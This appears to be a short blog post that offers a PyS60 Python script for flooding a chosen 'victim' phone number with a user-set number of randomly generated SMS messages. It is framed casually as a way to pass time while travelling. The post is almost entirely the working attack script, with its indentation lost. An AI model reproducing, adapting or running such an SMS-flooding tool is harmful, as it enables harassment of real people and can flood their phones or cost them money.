Annoying stuff

How to spend your time during a long travel:

# flood a victim telephone with random generated sms (for pys60)
import messaging
import appuifw
import random

def rnd():
return random.randint(97,97+26)

num=appuifw.query(u"telephone number?","text")
cnt=appuifw.query(u"how many?","number")

while abs(cnt)>0:
testo=chr(rnd())+chr(rnd())+chr(rnd())+chr(rnd())+chr(rnd())
messaging.sms_send(num,testo)
cnt=cnt-1
print "sent: "+testo

Leave a Reply